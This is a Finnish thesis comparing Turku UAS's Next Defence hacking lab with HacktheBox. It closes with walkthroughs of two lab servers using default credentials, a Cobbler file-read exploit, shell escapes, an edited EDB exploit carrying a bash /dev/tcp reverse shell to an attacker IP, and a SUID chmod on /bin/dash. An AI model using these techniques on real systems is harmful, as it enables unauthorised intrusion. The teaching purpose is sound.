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Opinnäytetyön tarkoituksena oli esittää vaihtoehto Turun amattikorkeakoulussa olevan tietoturva-
testausympäristön Next Defence korvaamiseen, jota käytetään tietoturvatestauksen opetuk-
sessa. Opinnäytteen aikana tutustuttiin Internetissä oleviin tietototurvatestausympäristöihin, pää-
sääntöisesti HacktheBox-ympäristöön.  

HacktheBox-ympäristöön tutustuttiin kesällä 2019, jolloin ympäristössä tehtiin tietoturva-testausta 
erilaisiin haavoittuviin palvelimiin. Haavoittuvuuksista  kirjoitetiin noin 200 sivuinen raportti, johon 
sisällytettiin askeleet, miten palvelimet saatiin murrettua, sekä lyhyt arvio palvelimien vaikeusas-
teesta. HacktheBox-raportin lisäksi tehtiin raportti Next Defence-ympäristöstä johon sisällytettiin 
vaiheet miten palvelimet saadaan murrettua, tämän raportin pituus oli noin 80 sivua.  

Tutkimusosuuden jälkeen valittiin tietyt kriteerit, jotka olivat käyttö, ylläpito, kehitettävyys sekä 
arviointi, joita käytettiin arvioitaessa HacktheBox-ympäristöä Turun amattikorkeakouluissa olevan 
Next Defence-ympäristön kanssa.  

Teoriaosuuden jälkeen tehtiin molemmista ympäristöistä esimerkkipalvelimet malliksi, jonka jäl-
keen esimerkkipalvelimia verrattiin työmäärältään sekä vaikeusasteeltaan keskenään.  

Johtopäätöksissä verrattiin keskenään palvelimien vaikeusasteita, sekä molempien ympäristöjen 
vahvuuksia ja heikkouksia.   
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The purpose of this thesis was to introduce an alternative solution to replace the pene-
tration testing environment, Next Defence, in Turku University of Applied Sciences. The 
research portion of the thesis was dedicated to becoming familiar with different online 
platforms dedicated for penetration testing, mainly HacktheBox.  

Summer of 2019 was spent on becoming familiar with the HacktheBox-environment by 
performing penetration testing against the various vulnerable servers on the platform and 
creating a detailed report that was approximately 200 pages on how to exploit the servers 
and a short description on the difficulty of each of the servers. A similar report was also 
compiled of the Next Defence-environment, the report included steps on how to exploit 

the servers and it totaled approximately 80 pages. 

After the research portion of the thesis, the criteria of usability, maintenance, develop-
ment and evaluation was used to compare HacktheBox-environment against the Turku 
University of Applied Sciences Next Defence-environment. After the comparison exam-
ple servers were done from both the HacktheBox and Next Defence-environments from 
which comparison and conclusions could be made regarding the difficulties of the exam-
ple servers and both strengths and weaknesses of both of the platforms. 
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KÄYTETTY SANASTO 

CTF Capture the Flag termillä tarkoitetaan yleisesti tapahtumaa, 

johon osallisttu ryhmiä tai yksilöitä, jotka yrittävät esimerkiksi 

murtaa jonkin palvelimen, joka on kyseiseen tapahtumaan 

luotu (Brown, 2018). 

EDB Exploit Database on julkinen tietokanta, josta löytyy erilaisia 

komentosarjoja ja ohjeita haavoittuvuuksien testaukseen 

(Exploit-db, n.d). 

VPN Virtuaalinen erillisverkko (Virtual Private Network), joka 

mahdollistaa turvallisen kommunikaation laitteiden välillä in-

ternetissä (Cisco, n.d.).  
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1 JOHDANTO 

Organisaatioiden olemassaolo sekä kilpailu kasvaa yhä enemmän internetissä, näin ol-

len organisaatiot eivät välttämättä panosta tarpeeksi tietoturvaan. Tämä voi johtaa tieto-

murtoihin, joissa uhreina ovat organisaatioiden lisäksi myös yksityishenkilöt. Esimerk-

kinä Equifax, joka on yksi suurimmista luottoa myyvistä yrityksistä USA:ssa (Puig, 2019), 

jonka tietokannoista varastettiin yksityishenkilöiden tietoja.  

Jotta tietomurtoja vastaan voidaan suojautua, tarvitaan ihmisiä, jotka ymmärtävät  millä 

tavoin tietomurtoja tekevät tahot toimivat. Siksi on tärkeää opettaa millä tavalla tieto-

murtoja voidaan tehdä hallitussa ja kontrolloidussa ympäristössä, mistä ei koidu haittaa 

muille.     

Tämän työn tarkoituksena on tutkia mahdollisuutta korvata Turun ammattikor-

keakoulussa oleva tietoturvatestauksen opetusympäristö Next Defence online-

ympäristöllä. 

Opinnäytetyötä lähdettiin työstämään kesällä 2019 tutkimustyönä, jonka aikana tu-

tustutiin HacktheBox-ympäristöön ja siellä oleviin haavoittuviin palvelimiin. Tutkimus-

työnn aikana HacktheBox-ympäristöstä laadittiin noin 200 sivuinen dokumentaatio, joka 

sisälsi palvelimet joihin oli päästy sisälle, ohjeet palvelimien murtamiseen sekä lyhyt ar-

vio vaikeusasteesta. Samanlainen dokumentaatio tehtiin myös Turun ammattikor-

keakoulun Next Defence-ympäristöstä, jonka laajuudeksi tuli noin 80 sivua. 

Opinnäytetyön  teoriaosuudessa esitellään ensin muutamia online-ympäristöjä, jonka jä-

lkeen vertaillaan Turun ammattikorkeakoulussa olevaa Next Defence ympäristöä sekä  

Online-ympäristö HacktheBoxia.  

Vertailun kriteereinä käytetään ympäristön käytön helppoutta, ylläpitoa, kehitettävyyttä 

sekä arviointia. Työn käytännön osuudessa tehdään malliksi yksi kone Next Defence-

ympäristöstä sekä HacktheBox-ympäristöstä ja vertaillaan näiden koneiden työämäärää 

sekä vaikeusastetta keskenään. 
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2 ALUSTAT 

Turun ammattikorkeakoulussa oleva Next Defence-ympäristö on suunniteltu tietoturva-

testauksen opetukseen. Ympäristö on ollut käytössä vuodesta 2014, eikä sitä ole päivi-

tetty vastaamaan nykyajan tarpeita. Ympäristön nykyiset ohjelmistot ovat joko erittäin 

vanhoja versioita taikka niiden kehitys on lopetettu sekä  Windows-palvelimet puuttuvat 

kokonaan. Tämän takia on aloitettu tutkimaan vaihtoehtoisia ympäristöjä opetuksen jat-

kamiseen, jota olisi helpompi ylläpitää ja se olisi nykyaikaisempi. 

Vaihtoehtoja tällaiseen ympäristöön  on internetissä monia, kuten HacktheBox, VulnHub, 

Virtual Hacking Labs sekä monia muita. Näistä ympäristöistä VulnHub on ilmainen 

sivusto, mistä käyttäjä voi etsiä ja ladata omalle koneelleen muiden käyttäjien tekemiä 

virtuaalikoneita, jotka ovat tarkoituksella tehty haavoittuviksi. 

Virtual Hacking Labs on maksullinen sivusto, johon käyttäjä rekisteröityy kuukausimak-

sulla. VPN-avaimet ladataan omalle koneelle,  joilla VHL:n yhdistetään omille palve-

limille, joita voi testata muiden palveluun rekisteröityneiden käyttäjien kanssa. 

HacktheBox on pääsääntöisesti ilmainen sivusto, jolle rekisteröidytään, mutta halutes-

saan käyttäjä voi maksaa kuukausimaksun jolla saadaan uusia ominaisuuksia otettua 

käyttöön. Rekisteröitymisen jälkeen käyttäjä voi ladata VPN-avaimet omalle koneelleen, 

joilla HacktheBoxin yhdistetään omille palvelimille, joita voi testata muiden palveluun 

rekisteröityneiden käyttäjien kanssa. 

2.1 Next Defence 

Käyttö 

Opetus ympäristössä tapahtuu luokkatilassa, jossa oppilailla on koulun tarjoamat koneet 

ja niihin asennetut virtuaalikoneet, joiden avulla saadaan VPN-yhteys Next Defence-ym-

päristöön. Virtuaalikone tarvitsee käynnistyessään käyttäjätunnukset, jotka oppilas saa 

opettajaltaan. 

Käyttöä vaikeuttaa VPN-yhteys, joka katkaisee virtuaalikoneesta yhteyden internetiin ja 

sallii liikenteen ainoastaan Next Defence-ympäristöön. Tämä on erityisen työläistä silloin, 
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kun oppilas haluaa ladata internetistä löytyneen ohjelman taikka komentosarjan, jota ha-

lutaan testata palvelinta vastaan.  

Oppilaan täytyy joko sammuttaa VPN-yhteys, ladata internetistä löytynyt ohjelma ja 

käynnistää virtuaalikone uudelleen taikka luoda jaettu kansio virtuaalikoneen sekä itse 

tietokoneen välille, jolloin tiedostoja voidaan siirtää vapaasti virtuaalikoneelle. 

Ylläpito 

Next Defence-ympäristön ylläpidon hoitaa opettaja tai opiskelija-assistentti. Ylläpitoon 

kuuluu pääsääntöisesti palvelinten palauttaminen takaisin oletus asetuksiin niissä ta-

pauksissa missä palvelin kaatuu testauksen aikana, palvelinten käynnistäminen sekä 

palvelinten mahdollinen päivittäminen. 

Ylläpidon isoin ongelma on palvelinten palauttamisessa, mikäli opettaja tai opiskelija-

assistentti ei ole tavoitettavissa joutuu oppilas odottamaan siihen asti kunnes  palvelin 

on palautettu takasin oletus asetuksiin. 

Kehitettävyys 

Next Defence-ympäristön kehitettävyys on hankalaa sillä se vaatii opettajalta  resursseja 

kehittää ja testata uutta palvelinta, ennen  sen sisällyttämistä  ympäristöön. 

Arviointi 

Arvioinnin kriteerinä on  murrettujen palvelinten määrä, jotka dokumentoidaan miten op-

pilas on onnistunut murtamaan palvelimet. 

2.2 HacktheBox 

Käyttö 

Oppilaan täytyy ensin rekisteröityä HacktheBox-sivustolle, jonka jälkeen Access-välileh-

deltä löytyy VPN-avaimet joilla hän voi yhdistää virtuaalikoneella HacktheBox-ympäris-

tön palvelimelle. VPN-tunneli ei katkaise yhteyttä internetiin, jolloin oppilas pystyy va-

paasti etsimään tietoa sekä erilaisia ohjelmia virtuaalikoneestaan ilman, että joutuisi 

käyttämään itse tietokonetta (Kuva 1.). 
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Kuva 1. HacktheBox VPN avaimet. 

Yhteyden muodostamisen jälkeen oppilas voi Machines-välilehdeltä valita palvelimen,  

jota halutaan testata. Listalta löytyvät kaikki palvelimet, jotka ovat aktiiviisia, niiden nimi, 

vaikeusaste, käyttäjien arvio palvelimesta, kuinka moni on saanut palvelimen murrettua 

joko pääkäyttäjäksi tai käyttäjäksi asti, palvelimen julkaisupäivä sekä painikkeet, joilla 

palvelimen voi palauttaa oletusasetuksiin ja antaa todiste-tiedoston, että palvelimeen on 

päästy sisään,  joko käyttäjänä tai pääkäyttäjänä (Kuva 2.). 

  

Kuva 2. Ote HacktheBox palvelinten hallintapaneelista. 

Ylläpito 

HacktheBox-ympäristön ylläpidon hoitaa HacktheBbox itse. Oppilaalla on mahdollisuus 

palauttaa valitsemansa kone oletusasetuksiin. 

Kehitettävyys 

Keihttämiseen ei voida vaikuttaa. Ainoastaan Unreleased-välihdeltä nähdään, mikä pal-

velin tulee korvaamaan jonkin aktiivisen palvelimen. Aktiivinen palvelin korvataan aina 
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kerran viikossa uudella palvelimella ja vanha palvelin siirtyy eläköityneiden palveliminten 

joukkoon. 

Arviointi 

Oppilaan arviointi voitaisiin toteuttaa samalla tavalla kuin Next Defence-ympäristössä. 

Oppilas voi itse seurata etenemistään omalta profiili-sivultaan, josta voi katsoa montako 

palvelinta tai erilaista haastetta on tehnyt (Kuva 3.). 

  

 

Kuva 3. Käyttäjän edistyminen HacktheBox-sivustolla. 
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3 TESTAUS 

Tietoturvatestauksen eri vaiheet ovat suunnittelu- ja tiedustelu, skannaus, pääsyn saa-

minen, pääsyn pysyvyys ja analysointi (Imperva, n.d.). Opinnäytteen käytännön osuu-

dessa keskitytään vain pääsääntöisesti skannaukseen sekä pääsyn saamiseen (Kuva 

4.). 

Suunnittelu – ja tiedustelu 

Ensimmäisessä vaiheessa määritellään yhdessä organisaation kanssa tietoturva tes-

tauksen laajuus, päämäärät, testattavat palvelimet sekä metotologiat. Tässä vaiheessa 

voidaa myös suorittaa alustavaa tiedon keruuta testattavista palvelimista. 

Skannaus 

Toisessa vaiheessa suoritetaan testattavien palvelimien analysointia joko manuaalisesti 

taikka erilaisten skannerien kuten Nmap-verkkoskannerin avulla. 

Pääsyn saaminen 

Kolmannessa vaiheessa suoritetaan erilaisia hyökkäyksiä skannaus-vaiheessa ilmenne-

din haavoittuvuuksien hyödyntämiseksi, jotta saatasiin pääsy palvelimelle. 

Pääsyn pysyvyys 

Neljännen vaiheen tarkoitus on saavuttaa pysyvä pääsy haavoittuneeseen palvimeen 

siten että luvatonta pääsyä ei huomattaisi heti taikka ollenkaan jolloin hyökkää voi rau-

hassa kerätä organisaation sisäistä dataa ja tehdä datalla mitä haluaa kuten myydä sitä 

eteenpäin taikka kiristää organisaatiota. 

Analysointi 

Viidennessä vaiheessa tehdään dokumentaatio tietoturva testauksen löydöksistä, joka-

käydään organisaation kanssa läpi. Dokumentoinnista ilmenee haavoittuvuudet joita 

käytettiin pääsyn saamiseksi, mahdollinen data jota saatiin kerättyä sekä suositusket mi-

ten organisaation tulisi menetellä haavoittuvuuksien kanssa. 
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Kuva 4. Tietototurvatestauksen vaiheet (Imperva, n.d.). 

Molemmissa Next Defence ja HacktheBox ympäristöissä on monia erilaisia palvelimia, 

tässä opinnäytteessä kuvataan esimerkkinä vain yksi palvelin ja sen ratkaisu molem-

mista ympäristöistä. Internetissä on saatavilla lista HacktheBox palvelimista joita suosi-

tellaan tehtäväksi, jos ei CTF-painoitteisia palvelimia haluta testate (Taulukko 1.). 

Taulukko 1. HacktheBox virtuaalikoneet (TJnull, 2019). 
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Listasta tehtiin tutkimustyönä kaikki Linux-palvelimet sekä Windows-palvelimet, punais-

essa sarakkeessa oleviin plavelimiin ei koskettu. Palvelimista tehtiin dokumentaaatio (n. 

200 sivua) johon kirjoitettiin vaiheet miten palvelin saadaan murrettua, sekä lyhyt kuvaus 

palvelimen vaikeusasteesta. Tämän lisäksi Next Defence-ympäristöstä tehtiin saman-

lainen dokumentaatio josta ilmenee vaiheet palvelimine murtamiseksi (n. 80 sivua).  

Työhön valittiin HacktheBox-ympäristöstä solidstate Linux-palvelin, sillä se vastaa Next 

Defence-ympäristössä olevia advanced-palvelimia. 

3.1  Next Defence-esimerkkipalvelin 

Nmap (Network Mapper) skanneria voidaan hyödyntää, kun halutaan etsiä palvelimelta 

avoimia portteja sekä tunnistaa mahdollisia ohjelmistoja tai palveluja, joita avoimissa 

porteissa on (Nmap, n.d.). Nmap-skannauksesta nähdään, että palvelimessa kuuntele-

vat portit 22 (ssh), 80 (http) sekä 443 (https). Näistä porteista keskitytään ensiksi 80 ja 

443 portteihin sillä ssh on pääsääntöisesti hyvin suojattu eikä sitä kannata ensim-

mäiseksi yrittää murtaa (Kuva 5.). 

 

Kuva 5. Nmap-skannaus Next Defence-esimerkkipalvelimesta. 

Selaimen osoite-riviin kirjoitetaan palvelimen IP-osoite, jolla avautuu seuraavanlainen 

näkymä. Cobbler on palvelu, jolla voidaan hallita erliaisia virtuaalikoneita. Ensimmäiseksi 

voidaan kokeilla heikkoja salasana- ja käyttäjäimiyhdistelmiä, sisään palveluun päästään 

yhdistelmällä cobbler/password1 (Kuva 6.).  



9 
 

 

Kuva 6. Cobbler-palvelun kirjautumisikkuna. 

Palveluun sisään päästyä nähdään palvelun versionumero, joka on 2.4.0. Tätä tietoa 

hyväksi käyttäen voidaan etsiä EDB:stä haavoittuvuuksia, jotka liittyvät kyseiseen versi-

oon (Kuva 7.).  

 

Kuva 7. Cobbler-palvelun hallintapaneeli. 

EDB:stä löytyy haavoittuus juuri kyseiseen versioon (Farhi, 2014). Haavoittuvuudella voi-

daan lukea erilaisia konfiguraatio-tiedostoja palvelimelta kuten /etc/passwd-tiedosto, 

joka sisältää kaikki käyttäjät palvelimella (Kuva 8.).  
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Kuva 8. Haavoittuvuuden testaus. 

Haavoittovuutta hyväksi käyttäen voidaan lukea tiedostoja kuten /etc/passwd. Nähdään, 

että palvelimella on viisi käyttäjää bob, jane, frank, joe ja julie (Kuva 9.). 

 

Kuva 9. Haavoittuvuuden hyödyntäminen. 

Päästään bob-käyttäjän kotihakemistoon kirjoittamalla selaimen osoiteriviin 

192.168.102.14/~bob. Hänen kotihakemistossaan on konfiguraatio-tiedostoja, joista löy-

tyy salasana bananarama7!!! (Kuva 10.). 
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Kuva 10. Salasana konfiguraatio-tiedostossa. 

Voidaan käyttää kyseistä salasanaa ja kirjautua SSH-yhteyden avulla palvelimeen bob-

käyttäjänä. Palvelimella liikkuminen on rajoitettu limited shell-komentotulkilla, jossa sal-

litaan vain tietyt komennot (Kuva 11.). 

 

Kuva 11. SSH-yhteys bob-käyttäjänä. 

Hyödyntäen echo-komentoa päästään vapaaksi limited shell-komentotulkista ja palve-

limella pystytään liikkumaan vapaasti (Kuva 12.).  

 

Kuva 12. Poistuminen limited shell-komentotulkista. 
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Seuraavaksi voidaan tarkistaa mitä bob-käyttäjä voi tehdä sudo-komennolla huomataan, 

että bob voi ajaa palvelimella mitä tahansa komentoja root-käyttäjänä eli pääkäyttäjänä. 

Root-käyttäjäksi vaihdetaan komenolla sudo su ja annetaan bob-käyttäjän salasana ja 

saadan pääkäyttäjän oikeudet palvelimelle (Kuva 13.). 

 

Kuva 13. Root-käyttäjä. 

3.2 HacktheBox-esimerkkipalvelin 

Nmap-skannauksesta nähdään, että palvelimessa kuuntelevat portit 22 (ssh), 80 (http) 

sekä neljä porttia 25, 110, 119 ja 4555 joita käyttää JAMES sähköposti-palvelin (Kuva 

14.). 

 

 

 

 

 

 

 

Kuva 14. Nmap-skannaus HacktheBox-esimerkkipalvelimesta. 

Palvelimella käynnissä olevista palveluista ensiksi lähdetään tutkimaan JAMES-appli-

kaatiota sillä kyseinen versio 2.3.2 vaikuttaa vanhalta versiolta. JAMES-aplikaatiolla on 

etähallintapalvelu, joka on oletuksena portissa 4555. Applikaation dokumentoinnissa 
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kerrotaan, että oletustunnukset kirjautuessa on root/root. Netcat-ohjelmalla voidaan yh-

distää applikaation etähallintapalveluun, palvelu pyytää käyttäjätunnuksia, tässä kohtaa 

kokeillaan oletustunnuksia root/root ja päästään sisään. Etäpalvelussa voidaan listata 

käyttäjät, lisätä uusia käyttäjiä, vaihtaa käyttäjien salasanoja ynnä muuta. Mindy-käyttä-

jän salasana vaihdetaan komennolla password mindy ja annetaan uusi salasana, tässä 

tapauksessa password (Kuva 15.). 

 

 

 

 

 

 

 

 

Kuva 15. JAMES-palvelun etähallinta. 

Mindy-käyttäjän salasanan muutoksen jälkeen voidaan telnet-ohjelmalla kirjautua säh-

köpostipalveluun ja lukea käyttäjän sähköpostit. Toisesta viestistä löytyy käyttäjän SSH-

palvelun kirjautumistunnukset (Kuva 16.). 
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Kuva 16. Käyttäjän SSH-tunnukset. 

Tunnuksilla voidaan kirjautua SSH-yhteydellä palvelimeen ja samalla voidaan lukea 

user.txt tiedosto (Kuva 17.). 

 

Kuva 17. User.txt. 

Palvelimella liikkuminen on estetty rbash eli restricted bash-komentotulkin avulla, jolla 

voidaan estää käyttäjää käyttämästä tiettyjä komentoja kuten cd (Kuva 18.). 

 

Kuva 18. Rbash-komentotulkki. 

Rbash-komentotulkin olemassaolo voidaan varmistaa /etc/passwd-tiedostosta (Kuva 

19.). 

 

Kuva 19. Ote /etc/passwd-tiedostosta. 
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Rbash-komentotulkki on mahdollista ohittaa käyttäen erilaisia keinoja kuten kirjoittamalla 

komentoriville  komento ’bash’, jolloin olisi mahdollista käyttää bash-komentotulkkia 

rbash-tulkin sijasta, mutta tässä tapauksessa se ei ole mahdollista. Jotta rbash-komen-

totulkista voitaisiin paeta, EDB:stä etsimällä löytyy haavoittuvuus, jota voidaan mahdol-

lisesti hyödyntää (Palaczynski, J ym, 2014.). Jotta haavoittuvuus toimisi täytyy komen-

tosarjaa muokata vaihtamalla payload-osaan seuraava komento ‘bash –i >& 

/dev/tcp/10.10.14.5/4444 0>&1’, joka mahdollistaa etäyhteyden oton hyökkäävään 

koneeseen (Kuva 20.). 

 

Kuva 20. Payload-muokkaus. 

Komentosarja suoritetaan python ohjelmalla komennolla python 35513.py,  joka on ko-

mentokehotteen nimi sekä Palvelimen IP-osoite, joka tässä tapauksessa on 10.10.10.51 

(Kuva 21.). 

 

Kuva 21. Komentosarjan suoritus. 

Nc-sovelluksella kuunnellaan payloadin suoritusta, kun palvelimeen kirjaudutaan 

payload suoritetaan ja saadan etäyhteys palvelimeen (Kuva 22.). 

 

Kuva 22. Etäyhteys palvelimeen. 
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Palvelimelle päästyä voidaan ajaa erilaisia komentokehotteita, joilla voidaan katsoa tie-

dosto-oikeuksia jotka ovat väärin konfiguroitu. Esimerkissä on käytetty LinEnum.sh-ko-

mentosarjaa, joka on löytänyt /opt-kansiosta tmp.py komentokehotteen, jonka omistaa 

root , mutta kaikki käyttäjät pystyvät tätä muokkaamaan (Kuva 23.). 

 

Kuva 23. LinEnum.sh-komentosarja. 

Tmp.py-komentosarja voidaan avata ja lukea, komentosarja käyttää pythonin os- ja sys-

tem-moduuleja, joilla voidaan käyttää käyttöjärjestelmän komentoja python komentoke-

hotteella. Komentosarja vain poistaa kaikki tiedostot /tmp-kansiosta (Kuva 24.). 

 

 

 

 

 

Kuva 24. Tmp.py-komentosarja. 

Tmp.py-komentosarjaa voidaan muokata, tässä tapauksessa korvataan /tmp tiedoston 

puhdistaminen ’chmod 4755 /bin/dash’ komenolla, joka muuttaa dash-komentotulkin 

suoritusoikeuksia niin, että kaikki toiminnot kyseisellä komentotulkilla voidaan suorittaa 

pääkäyttäjänä eli root-käyttäjänä (Kuva 25.). 

Kuva 25. Muokattu tmp.py-komentosarja. 
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Annetaan komentoriville komento ’dash’, jolla voidaan käyttää dash-komentotulkkia. 

Koska juuri muokattu komentosarja suorittaa komentoja root-käyttäjänä, voidaan mindy-

käyttäjällä lukea root-tiedostoja kuten root.txt (Kuva 26.). 

 

Kuva 26. Root.txt. 
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4 JOHTOPÄÄTÖKSET 

Esimerkkipalvelimet on luokiteltu keskiverto palvelimiksi vaikeusasteiltaan. Ne vastaavat 

hyvin oikeita palvelimia eivätkä ole CTF-painoitteisia. Molemmat palvelimet ovat murret-

tavissa hyödyntäen yleistietämystä linus-palvelimista sekä käyttäen yleisiä tietotur-

vatestaukseen suunniteltuja ohjelmistoja, kuten Nmap-verkkoskanneria. 

HacktheBox-ympäristöstä on hankala löytää palvelimia, jotka eivät ole CTF-painoitteisia 

etenkin, jos palvelin on vielä aktiivinen eikä siitä ole ohjeita saatavilla.  

Työn aikana tehdessäni dokumentaatiota HacktheBox- ja Next Defence-ympäristöistä 

huomasin, että omat taitoni varsinkin Windows-palvelimien testaamisen osalta kehit-

tyivät paljon. Myös uusien ohjelmien ja ohjelmistojen omaksuminen ja käyttäminen ke-

hittyi etenkin Windows-palvelimia ja vaikeampia Linux-palvelimia testatessa. 

HacktheBox-ympäristössä on eri vaikeusasteen omaavia palvelimia, esimerkiksi helppo 

ja vaikea. Nämä vaikeusasteet eivät välttämättä pidä paikkaansa, sillä palvelin saattaa 

olla erittäin erikoistunut yhteen osa-alueeseen, kuten esimerkiksi oman koodin kirjoit-

tamiseen,  jolla voidaan hyökätä jotain palvelua vastaan, jotta palvelimeen päästään 

edes sisälle asti.  

Tämän huomasi hyvin tehdessään esimerkiksi palvelinta, joka oli julkaistu vuonna 2017 

ja luokiteltu vaikeaksi verrattuna palvelimeen, joka julkaistu vuonna 2018 ja luokiteltu 

helpoksi. 

HacktheBox-ympäristön isoin ongelma onkin palvelimien sopivuus opetukseen, koska 

niiden seulontaan kuluu aikaa,  johon tarvitaan resuresseja. Toisena ongelmana on eten-

kin Windows-palvelimien epävakaus, koska vanhemmat Windows-palvelimet kaatuilevat 

helposti, jolloin niitä pitäisi olla kokoajan palauttelemassa. Kolmantena ongelmana on 

arviointi, mikäli haluttaisiin, että kurssiin sisältyisi koe joka tehtäisiin HacktheBox-

ympäristössä aktiiviseen palvelimeen. 

Aktiiviset koneet pitää ensin seuloa läpi, joka on mahdollista, sillä koneet voidaan jär-

jestää vaikeuasteen mukaan. Tämä ei silti tarkoita, että palvelin olisi helposti tehtävissä. 

Aktiiviset palvelimet vanhenevat yksi kerrallaan viikoittain, jolloin kokeeksi valittu palvelin 

saattaa vanhentua ja siitä julkaistaan ympäristössä sekä internetissä ohjeet, jolloin 

kyseistä palvelinta ei voida käyttää kokeessa. 
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HacktheBox-ympäristössä palvelimien sisältöön ei pysty lainkaan  itse vaikuttamaan. 

Ympäristö pyörii internetissä, jolloin yhteys ympäristöön on kiinni siitä, että internet-

yhteys toimii tai HacktheBox-ymmpäristö on toiminnassa. 

HacktheBox-ympäristön paras ominaisuus on sen aktiivisuus, tämä ilmenee siitä, että 

palvelua päivitetään hyvin aktiivisesti lisäämällä siihen uusia ominaisuuksia. Joka viikko 

tulee uusi palvelin testattavaksi sekä erilaisia haasteita aina silloin tällöin. HacktheBox 

järjestää ja on mukana myös CTF-tapahtumissa.  

Vastaavasti Next Defence-ympäristön suurin ongelma on sen vanhanaikaisuus, jota 

voitasiin varmasti kehittää, mutta se vaatisi resursseja ensin kehittämiseen sekä sen jä-

lkeen testaamiseen. Toisena ongelmana Next Defence-ympäristössä on Windows-

palvelimien puute, joita kuitenkin olisi hyvä opettaa testaamaan, sillä ne ovat kuitenkin 

erilaisia verrattuna Linux-palvelimiin. Kolmantena ongelmana Next Defence-

ympäristössä on erilaisten tietoturvatestaukseen käytettyjen ohjelmien  käytön puute eli 

käyttäjän ei tarvitse opetella käyttämään yleisempiä tietoturvatestaukseen tarkoitettuja 

ohjelmia, kuten esimerkiksi dirbuster, jolla voidaan etsiä tiettyjä tiedostoja palvelimelta. 

Next Defence-ympäristön paras ominaisuus on, että Turun ammattikorkeakoulu omistaa 

palvelimet, jolloin niiden sisältöön voidaan vaikuttaa sekä ylläpito hoitaa itse. 
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